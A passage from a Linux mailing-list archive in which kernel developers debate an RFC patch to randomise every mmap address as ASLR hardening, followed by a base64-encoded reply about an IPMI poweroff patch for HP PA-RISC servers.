        b=uqr24jU4sVyHw0e/+PkE0RYys0+iT9CSSRkD5S4Oe6cHbxqd7hFjhA4ZEsRlGandlz
         QMEMxdLUUqf5ag21KZK1oKaYNFUoXhsL2mCyaFcJRa419ptJAdLKmlub8SXXHaNEtJ2L
         Pt8SCbAWRYHlNhZ6Ny3te/pXLbcXNhvLPdgvpfi2K0G17WDRxSsR2QmicTUe5BGJQ0Ps
         7OzXh5W/lPNYy0ZGO6L7rdgP8I1ReIF6mHlH7JwkItuxcH5XMljBxRbBFWUbUJsPMCEe
         Gh2ynCColLCPcSuZ7oLVLxl1120K2NmpspMoO3JKR6kUUjF1Sty3ofZVWGE5ldb6fNNG
         Pl0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:subject:from:in-reply-to:date:cc
         :content-transfer-encoding:message-id:references:to;
        bh=y6PiAbP+0RgCdplau6Qz9CsZc8YXQN1l/gRCGxg/XVE=;
        b=ennHzJAtcuGhxhN24x4IPovP+ve89RVq8KD090XVOUqWpdARfsB2hrP3lLU84m2jIZ
         LbSM0fXq3aIAQnvhn9z0RTDpEmcuYeKZLLzUFemBvMunqQAIv2k0vQnl28Eh6uaAXClq
         tsEk0juti3O2U57MwbumoOyaJBuHrf1S9r6r2zoJHFbsetxd2C9cNsexhDTCBqaprgCF
         Eotwvu9tl1V7mhwzMT7xkP5cCaXZJG4ugtvkfbXFaf7EMMzXs46f2Mgg1O87ndYhorp9
         OwfINJr6VweCzFulomiA1CxG1pIaseoATBHEYk64Kr5n3x/w5gxAYRTCRyGnm18B1mwN
         kV5Q==
X-Gm-Message-State: AElRT7ESkm1u05eVLXpePudj8RaOWqBJTDb0J0JRD8hNjvVHlHchi4I0
        P1+wZsBKXMkjwIBD/6jG+Dc=
X-Google-Smtp-Source: AG47ELtfgwkyoXaPbaeUDmGoF1ghT43pbnOR/I5cqs5nTddvtwfdZ4kCvF2bXXTfG+BmYUg7RWljmA==
X-Received: by 2002:a19:fe2:: with SMTP id 95-v6mr30490583lfp.13.1522158672115;
        Tue, 27 Mar 2018 06:51:12 -0700 (PDT)
Original-Received: from [10.0.36.227] ([31.44.93.2])
        by smtp.gmail.com with ESMTPSA id y70-v6sm249076lfk.24.2018.03.27.06.51.09
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 27 Mar 2018 06:51:11 -0700 (PDT)
In-Reply-To: <20180327072432.GY5652@dhcp22.suse.cz>
X-Mailer: Apple Mail (2.3445.5.20)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2726273 gmane.linux.ports.alpha:4878 gmane.linux.kernel.arc:3668 gmane.linux.ports.ia64:28748 gmane.linux.kernel.metag:1719 gmane.linux.ports.mips.general:64225 gmane.linux.ports.parisc:28416 gmane.linux.ports.ppc64.devel:155247 gmane.linux.ports.sh.devel:56739 gmane.linux.ports.sparc:27484 gmane.linux.kernel.mm:192397
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2726273>


> On 27 Mar 2018, at 10:24, Michal Hocko <mhocko@kernel.org> wrote:
>=20
> On Mon 26-03-18 22:45:31, Ilya Smith wrote:
>>=20
>>> On 26 Mar 2018, at 11:46, Michal Hocko <mhocko@kernel.org> wrote:
>>>=20
>>> On Fri 23-03-18 20:55:49, Ilya Smith wrote:
>>>>=20
>>>>> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> =
wrote:
>>>>>=20
>>>>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
>>>>>> Current implementation doesn't randomize address returned by =
mmap.
>>>>>> All the entropy ends with choosing mmap_base_addr at the process
>>>>>> creation. After that mmap build very predictable layout of =
address
>>>>>> space. It allows to bypass ASLR in many cases. This patch make
>>>>>> randomization of address on any mmap call.
>>>>>=20
>>>>> Why should this be done in the kernel rather than libc?  libc is =
perfectly
>>>>> capable of specifying random numbers in the first argument of =
mmap.
>>>> Well, there is following reasons:
>>>> 1. It should be done in any libc implementation, what is not =
possible IMO;
>>>=20
>>> Is this really so helpful?
>>=20
>> Yes, ASLR is one of very important mitigation techniques which are =
really used=20
>> to protect applications. If there is no ASLR, it is very easy to =
exploit=20
>> vulnerable application and compromise the system. We can=E2=80=99t =
just fix all the=20
>> vulnerabilities right now, thats why we have mitigations - techniques =
which are=20
>> makes exploitation more hard or impossible in some cases.
>>=20
>> Thats why it is helpful.
>=20
> I am not questioning ASLR in general. I am asking whether we really =
need
> per mmap ASLR in general. I can imagine that some environments want to
> pay the additional price and other side effects, but considering this
> can be achieved by libc, why to add more code to the kernel?

I believe this is the only one right place for it. Adding these 200+ =
lines of=20
code we give this feature for any user - on desktop, on server, on IoT =
device,=20
on SCADA, etc. But if only glibc will implement =E2=80=98user-mode-aslr=E2=
=80=99 IoT and SCADA=20
devices will never get it.

>>>=20
>>>> 2. User mode is not that layer which should be responsible for =
choosing
>>>> random address or handling entropy;
>>>=20
>>> Why?
>>=20
>> Because of the following reasons:
>> 1. To get random address you should have entropy. These entropy =
shouldn=E2=80=99t be=20
>> exposed to attacker anyhow, the best case is to get it from kernel. =
So this is
>> a syscall.
>=20
> /dev/[u]random is not sufficient?

Using /dev/[u]random makes 3 syscalls - open, read, close. This is a =
performance
issue.

>=20
>> 2. You should have memory map of your process to prevent remapping or =
big
>> fragmentation. Kernel already has this map.
>=20
> /proc/self/maps?

Not any system has /proc and parsing /proc/self/maps is robust so it is =
the=20
performance issue. libc will have to do it on any mmap. And there is a =
possible=20
race here - application may mmap/unmap memory with native syscall during =
other=20
thread reading maps.

>> You will got another one in libc.
>> And any non-libc user of mmap (via syscall, etc) will make hole in =
your map.
>> This one also decrease performance cause you any way call =
syscall_mmap=20
>> which will try to find some address for you in worst case, but after =
you already
>> did some computing on it.
>=20
> I do not understand. a) you should be prepared to pay an additional
> price for an additional security measures and b) how would anybody =
punch
> a hole into your mapping?=20
>=20

I was talking about any code that call mmap directly without libc =
wrapper.

>> 3. The more memory you use in userland for these proposal, the easier =
for
>> attacker to leak it or use in exploitation techniques.
>=20
> This is true in general, isn't it? I fail to see how kernel chosen and
> user chosen ranges would make any difference.

My point here was that libc will have to keep memory representation as a =
tree=20
and this tree increase attack surface. It could be hidden in kernel as =
it is right now.

>=20
>> 4. It is so easy to fix Kernel function and so hard to support memory
>> management from userspace.
>=20
> Well, on the other hand the new layout mode will add a maintenance
> burden on the kernel and will have to be maintained for ever because =
it
> is a user visible ABI.

Thats why I made this patch as RFC and would like to discuss this ABI =
here. I=20
made randomize_va_space parameter to allow disable randomisation per =
whole=20
system. PF_RANDOMIZE flag may disable randomization for concrete process =
(or=20
process groups?). For architecture I=E2=80=99ve made info.random_shift =3D=
 0 , so if your=20
arch has small address space you may disable shifting. I also would like =
to add=20
some sysctl to allow process/groups to change this value and allow some=20=

processes to have shifts bigger then another. Lets discuss it, please.

>=20
>>>> 3. Memory fragmentation is unpredictable in this case
>>>>=20
>>>> Off course user mode could use random =E2=80=98hint=E2=80=99 =
address, but kernel may
>>>> discard this address if it is occupied for example and allocate =
just before
>>>> closest vma. So this solution doesn=E2=80=99t give that much =
security like=20
>>>> randomization address inside kernel.
>>>=20
>>> The userspace can use the new MAP_FIXED_NOREPLACE to probe for the
>>> address range atomically and chose a different range on failure.
>>>=20
>>=20
>> This algorithm should track current memory. If he doesn=E2=80=99t he =
may cause
>> infinite loop while trying to choose memory. And each iteration =
increase time
>> needed on allocation new memory, what is not preferred by any libc =
library
>> developer.
>=20
> Well, I am pretty sure userspace can implement proper free ranges
> tracking=E2=80=A6

I think we need to know what libc developers will say on implementing =
ASLR in=20
user-mode. I am pretty sure they will say =E2=80=98nether=E2=80=99 or =
=E2=80=98some-day=E2=80=99. And problem=20
of ASLR will stay forever.

Thanks,
Ilya





From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 27 Mar 2018 16:38:20 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20180327143820.GH5652@dhcp22.suse.cz>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1522161400 2774 195.159.176.226 (27 Mar 2018 14:36:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 14:36:40 +0000 (UTC)
User-Agent: Mutt/1.9.4 (2018-02-28)
Cc: Matthew Wilcox <willy@infradead.org>, rth@twiddle.net,
        ink@jurassic.park.msu.ru, mattst88@gmail.com, vgupta@synopsys.com,
        linux@armlinux.org.uk, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jejb@parisc-linux.org,
        Helge Deller <deller@gmx.de>, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        Hugh Dickins <hughd@google.com>, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, Andrew Morton <akpm@linux-foundation.org>,
        steve.capper@arm.com, punit.agrawal@arm.
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 27 16:36:30 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f0piA-0000WQ-GB
	for glk-linux-kernel-4@m.gmane.org; Tue, 27 Mar 2018 16:36:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752192AbeC0Oid (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 27 Mar 2018 10:38:33 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:40341 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751103AbeC0Oia (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 27 Mar 2018 10:38:30 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 1EE20AEDC;
        Tue, 27 Mar 2018 14:38:28 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2726330 gmane.linux.ports.alpha:4879 gmane.linux.kernel.arc:3669 gmane.linux.ports.ia64:28749 gmane.linux.kernel.metag:1720 gmane.linux.ports.mips.general:64226 gmane.linux.ports.parisc:28417 gmane.linux.ports.ppc64.devel:155253 gmane.linux.ports.sh.devel:56740 gmane.linux.ports.sparc:27485 gmane.linux.kernel.mm:192400
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2726330>

On Tue 27-03-18 16:51:08, Ilya Smith wrote:
> 
> > On 27 Mar 2018, at 10:24, Michal Hocko <mhocko@kernel.org> wrote:
> > 
> > On Mon 26-03-18 22:45:31, Ilya Smith wrote:
> >> 
> >>> On 26 Mar 2018, at 11:46, Michal Hocko <mhocko@kernel.org> wrote:
> >>> 
> >>> On Fri 23-03-18 20:55:49, Ilya Smith wrote:
> >>>> 
> >>>>> On 23 Mar 2018, at 15:48, Matthew Wilcox <willy@infradead.org> wrote:
> >>>>> 
> >>>>> On Thu, Mar 22, 2018 at 07:36:36PM +0300, Ilya Smith wrote:
> >>>>>> Current implementation doesn't randomize address returned by mmap.
> >>>>>> All the entropy ends with choosing mmap_base_addr at the process
> >>>>>> creation. After that mmap build very predictable layout of address
> >>>>>> space. It allows to bypass ASLR in many cases. This patch make
> >>>>>> randomization of address on any mmap call.
> >>>>> 
> >>>>> Why should this be done in the kernel rather than libc?  libc is perfectly
> >>>>> capable of specifying random numbers in the first argument of mmap.
> >>>> Well, there is following reasons:
> >>>> 1. It should be done in any libc implementation, what is not possible IMO;
> >>> 
> >>> Is this really so helpful?
> >> 
> >> Yes, ASLR is one of very important mitigation techniques which are really used 
> >> to protect applications. If there is no ASLR, it is very easy to exploit 
> >> vulnerable application and compromise the system. We can’t just fix all the 
> >> vulnerabilities right now, thats why we have mitigations - techniques which are 
> >> makes exploitation more hard or impossible in some cases.
> >> 
> >> Thats why it is helpful.
> > 
> > I am not questioning ASLR in general. I am asking whether we really need
> > per mmap ASLR in general. I can imagine that some environments want to
> > pay the additional price and other side effects, but considering this
> > can be achieved by libc, why to add more code to the kernel?
> 
> I believe this is the only one right place for it. Adding these 200+ lines of 
> code we give this feature for any user - on desktop, on server, on IoT device, 
> on SCADA, etc. But if only glibc will implement ‘user-mode-aslr’ IoT and SCADA 
> devices will never get it.

I guess it would really help if you could be more specific about the
class of security issues this would help to mitigate. My first
understanding was that we we need some randomization between program
executable segments to reduce the attack space when a single address
leaks and you know the segments layout (ordering). But why do we need
_all_ mmaps to be randomized. Because that complicates the
implementation consirably for different reasons you have mentioned
earlier.

Do you have any specific CVE that would be mitigated by this
randomization approach?

I am sorry, I am not a security expert to see all the cosequences but a
vague - the more randomization the better - sounds rather weak to me.
-- 
Michal Hocko
SUSE Labs


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
Subject: Re: [PATCH] ipmi/parisc: Add IPMI chassis
 poweroff for certain HP PA-RISC servers
Date: Tue, 27 Mar 2018 17:31:53 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <69751fab-c471-4d3a-257a-0001425d5821@gmx.de>
References: <20180324194504.GA10210@ls3530.fritz.box>
 <54f020d1-55a1-e1a5-88c3-cb9cbf7add9c@acm.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522164613 20648 195.159.176.226 (27 Mar 2018 15:30:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 27 Mar 2018 15:30:13 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
To: minyard@acm.org, linux-parisc@vger.kernel.org,
 openipmi-developer@lists.sourceforge.net,
 James Bottomley <James.Bottomley@HansenPartnership.com>,
 John David Anglin <dave.anglin@bell.net>
Original-X-From: openipmi-developer-bounces@lists.sourceforge.net Tue Mar 27 17:30:09 2018
Return-path: <openipmi-developer-bounces@lists.sourceforge.net>
Envelope-to: glko-openipmi-developer@m.gmane.org
Original-Received: from lists.sourceforge.net ([216.105.38.7])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0qY3-0005CJ-Jw
	for glko-openipmi-developer@m.gmane.org; Tue, 27 Mar 2018 17:30:07 +0200
Original-Received: from [127.0.0.1] (helo=sfs-ml-1.v29.lw.sourceforge.com)
	by sfs-ml-1.v29.lw.sourceforge.com with esmtp (Exim 4.90_1)
	(envelope-from <openipmi-developer-bounces@lists.sourceforge.net>)
	id 1f0qa5-0005Cc-HH; Tue, 27 Mar 2018 15:32:13 +0000
Original-Received: from [172.30.20.202] (helo=mx.sourceforge.net)
 by sfs-ml-1.v29.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES256-GCM-SHA384:256) (Exim 4.90_1)
 (envelope-from <deller@gmx.de>) id 1f0qa3-0005CM-Bx
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 15:32:11 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=sourceforge.net; s=x; h=Content-Transfer-Encoding:Content-Type:In-Reply-To:
 MIME-Version:Date:Message-ID:From:References:To:Subject:Sender:Reply-To:Cc:
 Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
 Resent-To:Resent-Cc:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=vNA7TYseRDDEf1nNfH70p1ojpcu8LZHdR7G1fQggmuU=; b=P9FkB37nzwtmClvaKeHpNmAc9/
 qSRlMm7LvC0FizS5ujawXdloWVc3bOxsnj7r/nrw/2+1m2VYhx5gxa0UN2J6OZttXxKXYKhYiXMY2
 LFOVvPXvSdPciQU6Gh+zWqUp16JTWaVf2KJ6eWqlwW91NlLZqfksQxUJc0Bm2UoYfzDQ=;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=sf.net; s=x
 ;
 h=Content-Transfer-Encoding:Content-Type:In-Reply-To:MIME-Version:Date:
 Message-ID:From:References:To:Subject:Sender:Reply-To:Cc:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
 List-Post:List-Owner:List-Archive;
 bh=vNA7TYseRDDEf1nNfH70p1ojpcu8LZHdR7G1fQggmuU=; b=a/wiy45AGC4q++11uAWBEgH9Df
 M86D1E0cMFb6yHXaB4yfYXNrRCCGYYj1Zil/wFbpSNgTuVvxbpYGW38Y9gSVDgNNsL0x9Sa24p6i1
 hWlNAsFN9AF3XxkcaYCQIWLMH9K9nd1v4/cXRs34ukfzxM1YYqHcYtWys1fh2XHkSuSE=;
Original-Received: from sfi-lb-mx.v20.lw.sourceforge.com ([172.30.20.201]
 helo=mout.gmx.net) by sfi-mx-4.v28.lw.sourceforge.com with esmtps
 (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
 id 1f0qa1-00CuP2-BV
 for openipmi-developer@lists.sourceforge.net; Tue, 27 Mar 2018 15:32:11 +0000
Original-Received: from [192.168.20.60] ([89.244.176.200]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LngNT-1eM2Ro1Xfr-00htQw; Tue, 27
 Mar 2018 17:31:55 +0200
In-Reply-To: <54f020d1-55a1-e1a5-88c3-cb9cbf7add9c@acm.org>
Content-Language: en-US
X-Provags-ID: V03:K0:3vp7GuapBtehG8ZKF/Hk9A4vNvorpczfbdd1G3cpKgilQnphXda
 ZA9t2SxfeltQ2QpkrsnpIPoy3bVTuVL/HVso1y5PzYTUfQ1aQV+UAszBOpWZaiG3vxLmaq/
 mP59G6iIuI9njRt6285NCtpvCaeoD+mt/CpgQRY9G+dtQB2laSA3OxBcy35YzIHDOaqjR9t
 Ew+9xvFg8t91Ll4K8DpZg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UptH28tG0hE=:NjJoluHjX4oreqfQi022EW
 XgfY1fiHqxq04tnuqqcfQPwENmrKtCnK+DoQMxDolRNsxKzj4lYDtT2o3J2P+8uOD8EB3d0eE
 y8y3eSChRIpVL/m7gUSZu6smmkFCsfbDFst0VaKhEHwd/QQNBjxFV4u4PSUwlXdV/P7KdgEdZ
 U6DTphv9zYElKXUczK1jq14TH+fHoDH/kkpHD/Li3YaBdFgkkdjTNJpjF4ejsSd5/PcnGnPDB
 LThiuIu2HfyEXSSteEQ7MAWamQFAyYv7Xmg0paRd9IjvXySf4idPVrR9tGzX7tHAQWPNeHdfb
 KKbxjOJ0umxLyW04AURD7ePNbORK4vMiBJE4Did5ejn5hCeP+G+W4CizmxvA2fOfMTuOPypvM
 gA9M6gnKh5+aA+XegNycZPi02wTtLDJdoI/dXCF/v3o5NX8BN76y/pD3uIWyTOWLvZ6ta5ZON
 n3MJJj4nN0bS3901hYRpFo+KYRLo4gJKVthk4Aars4zvTlqg5jOR3ZD2PbV3DDtSdpX4wWnTF
 TxnkdKNxUbVAhcksiDE87KTSP6nawM9dxMDwo1HeenHc4202GW2J2XqWOWsPgh6dj9J7ue7lJ
 r+pjcbumsKpymaJfPwld4c+X0WWecpiZT9nQ/tHnWthOFUWzL9zjjIQ6p5KY/4n9MGkiUYUBJ
 HhQSe9J/jElKw1buohXytbP6vjO9dyzgQWgSMIyD3znKuwlN0ywNUe/GgKL2wFHZgHPTmQRvO
 1HwtUk/TJ1vgIma/vdngrsbYMDPAl7DzCh/31IY3nHmMZvn9TcjKtiEb0e6gXQJJ14hNX7vB 
X-Spam-Score: 4.5 (++++)
X-Spam-Report: Spam Filtering performed by mx.sourceforge.net.
 See http://spamassassin.org/tag/ for more details.
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (deller[at]gmx.de)
 3.6 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
 [89.244.176.200 listed in zen.spamhaus.org]
 0.9 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.net/Why?s=mfrom; id=deller%40gmx.de;
 ip=172.30.20.201; r=util-malware-1.v13.lw.sourceforge.com]
X-Headers-End: 1f0qa1-00CuP2-BV
X-BeenThere: openipmi-developer@lists.sourceforge.net
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Developer list of OpenIPMI library and Linux driver
 <openipmi-developer.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/options/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum_name=openipmi-developer>
List-Post: <mailto:openipmi-developer@lists.sourceforge.net>
List-Help: <mailto:openipmi-developer-request@lists.sourceforge.net?subject=help>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/openipmi-developer>, 
 <mailto:openipmi-developer-request@lists.sourceforge.net?subject=subscribe>
Errors-To: openipmi-developer-bounces@lists.sourceforge.net
Xref: news.gmane.org gmane.linux.kernel.openipmi:3581 gmane.linux.ports.parisc:28418
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.openipmi/3581>

T24gMjcuMDMuMjAxOCAxNToxNiwgQ29yZXkgTWlueWFyZCB3cm90ZToKPiBPbiAwMy8yNC8yMDE4
IDAyOjQ1IFBNLCBIZWxnZSBEZWxsZXIgd3JvdGU6Cj4+IFRoaXMgcGF0Y2ggYWxsb3dzIEhQIFBB
LVJJU0Mgc2VydmVycyBsaWtlIHJwMzQxMC9ycDM0NDAgYW5kIHRoZSBIUCBDODAwMAo+PiB3b3Jr
c3RhdGlvbiB3aXRoIGFuIElQTUkgY29udHJvbGxlciB0aGF0IHByZWRhdGUgSVBNSSAxLjUgdG8g
dXNlIHRoZSBzdGFuZGFyZAo+PiBwb3dlcm9mZiBvciBwb3dlcmN5Y2xlIGNvbW1hbmRzLgo+Pgo+
PiBUaGVzZSBzeXN0ZW1zIGZpcm13YXJlIGRvbid0IHNldCB0aGUgY2hhc3NpcyBjYXBhYmlsaXR5
IGJpdCBpbiB0aGUgR2V0Cj4+IERldmljZSBJRCwgYnV0IHRoZXkgZG8gaW1wbGVtZW50IHRoZSBz
dGFuZGFyZCBwb3dlcm9mZiBhbmQgcG93ZXJjeWNsZQo+PiBjb21tYW5kcy4KPiAKPiBBIGZldyBj
b21tZW50cyBvbiB0aGlzOgo+IAo+IFRoYXQgZnVuY3Rpb24gaXMgbmFtZWQgaXBtaV9kZWxsX2No
YXNzaXNfZGV0ZWN0KCksIGp1c3QgYWRkaW5nIGEgSFAKPiBjaGFzc2lzIHRvIGl0IGRvZXNuJ3Qg
c2VlbSBsaWtlIGEgZ29vZCBpZGVhLsKgIFRoZXJlIGlzIGFscmVhZHkgYW4gYXJyYXkKPiBvZiBw
b3dlcm9mZiBmdW5jdGlvbnMsIHBsZWFzZSB1c2UgdGhhdCBhbmQgY3JlYXRlIHlvdXIgb3duIGZ1
bmN0aW9uLgo+IFlvdSB3b3VsZCBoYXZlIHRvIHJlc3RydWN0dXJlIHRoZSBkZWxsIGZ1bmN0aW9u
IHRvIG1ha2UgaXQgY2xlYW4sCj4gYW5kIEkgZG9uJ3Qgd2FudCB0byBkbyB0aGF0Lgo+IAo+IFRo
ZSBDT05GSUdfUEFSSVNDIGNsYXVzZSBwcm9iYWJseSBkb2Vzbid0IG1hdHRlci4KPiAKPiBQbGVh
c2UgY3JlYXRlIGRlZmluZXMgZm9yIHRoZSBtYWdpYyBudW1iZXJzLgoKTXkgaW50ZW50aW9uIHdh
cyB0byBrZWVwIHRoZSBwYXRjaCBzbWFsbC4KQW55d2F5LCBJJ2xsIHJlc3BpbiBhIG5ldyBwYXRj
aCB3aXRoIHlvdXIgc3VnZ2VzdGlvbnMuCgpUaGFua3MhCkhlbGdlCgoKPj4gU2lnbmVkLW9mZi1i
eTogSGVsZ2UgRGVsbGVyIDxkZWxsZXJAZ214LmRlPgo+Pgo+PiBkaWZmIC0tZ2l0IGEvZHJpdmVy
cy9jaGFyL2lwbWkvaXBtaV9wb3dlcm9mZi5jIGIvZHJpdmVycy9jaGFyL2lwbWkvaXBtaV9wb3dl
cm9mZi5jCj4+IGluZGV4IDM4ZTZhZjFjOGUzOC4uMDlmMzRlYTM3MGRhIDEwMDY0NAo+PiAtLS0g
YS9kcml2ZXJzL2NoYXIvaXBtaS9pcG1pX3Bvd2Vyb2ZmLmMKPj4gKysrIGIvZHJpdmVycy9jaGFy
L2lwbWkvaXBtaV9wb3dlcm9mZi5jCj4+IEBAIC00NTMsNiArNDUzLDEzIEBAIHN0YXRpYyBpbnQg
aXBtaV9kZWxsX2NoYXNzaXNfZGV0ZWN0KGlwbWlfdXNlcl90IHVzZXIpCj4+IMKgwqDCoMKgwqDC
oMKgwqDCoCBpcG1pX3ZlcnNpb25fbWFqb3IgPD0gMSAmJgo+PiDCoMKgwqDCoMKgwqDCoMKgwqAg
aXBtaV92ZXJzaW9uX21pbm9yIDwgNSkKPj4gwqDCoMKgwqDCoMKgwqDCoMKgIHJldHVybiAxOwo+
PiArCj4+ICvCoMKgwqAgLyogQk1DIGluIEhQIEM4MDAwIGNhbiBoYW5kbGUgY2hhc3NpcyBmdW5j
dGlvbnMgdG9vLiAqLwo+PiArwqDCoMKgIGlmIChJU19FTkFCTEVEKENPTkZJR19QQVJJU0MpICYm
Cj4+ICvCoMKgwqDCoMKgwqDCoCBtZmdfaWQgPT0gMHgwYiAmJiBwcm9kX2lkID09IDB4ODIwMSAm
Jgo+PiArwqDCoMKgwqDCoMKgwqAgaXBtaV92ZXJzaW9uID09IDEpCj4+ICvCoMKgwqDCoMKgwqDC
oCByZXR1cm4gMTsKPj4gKwo+PiDCoMKgwqDCoMKgIHJldHVybiAwOwo+PiDCoCB9CgotLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0KQ2hlY2sgb3V0IHRoZSB2aWJyYW50IHRlY2ggY29tbXVuaXR5IG9uIG9u
ZSBvZiB0aGUgd29ybGQncyBtb3N0CmVuZ2FnaW5nIHRlY2ggc2l0ZXMsIFNsYXNoZG90Lm9yZyEg
aHR0cDovL3NkbS5saW5rL3NsYXNoZG90Cl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fCk9wZW5pcG1pLWRldmVsb3BlciBtYWlsaW5nIGxpc3QKT3BlbmlwbWkt
ZGV2ZWxvcGVyQGxpc3RzLnNvdXJjZWZvcmdlLm5ldApodHRwczovL2xpc3RzLnNvdXJjZWZvcmdl
Lm5ldC9saXN0cy9saXN0aW5mby9vcGVuaXBtaS1kZXZlbG9wZXIK


From - Thu Nov 08 21:41:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.openipmi,gmane.linux.ports.parisc
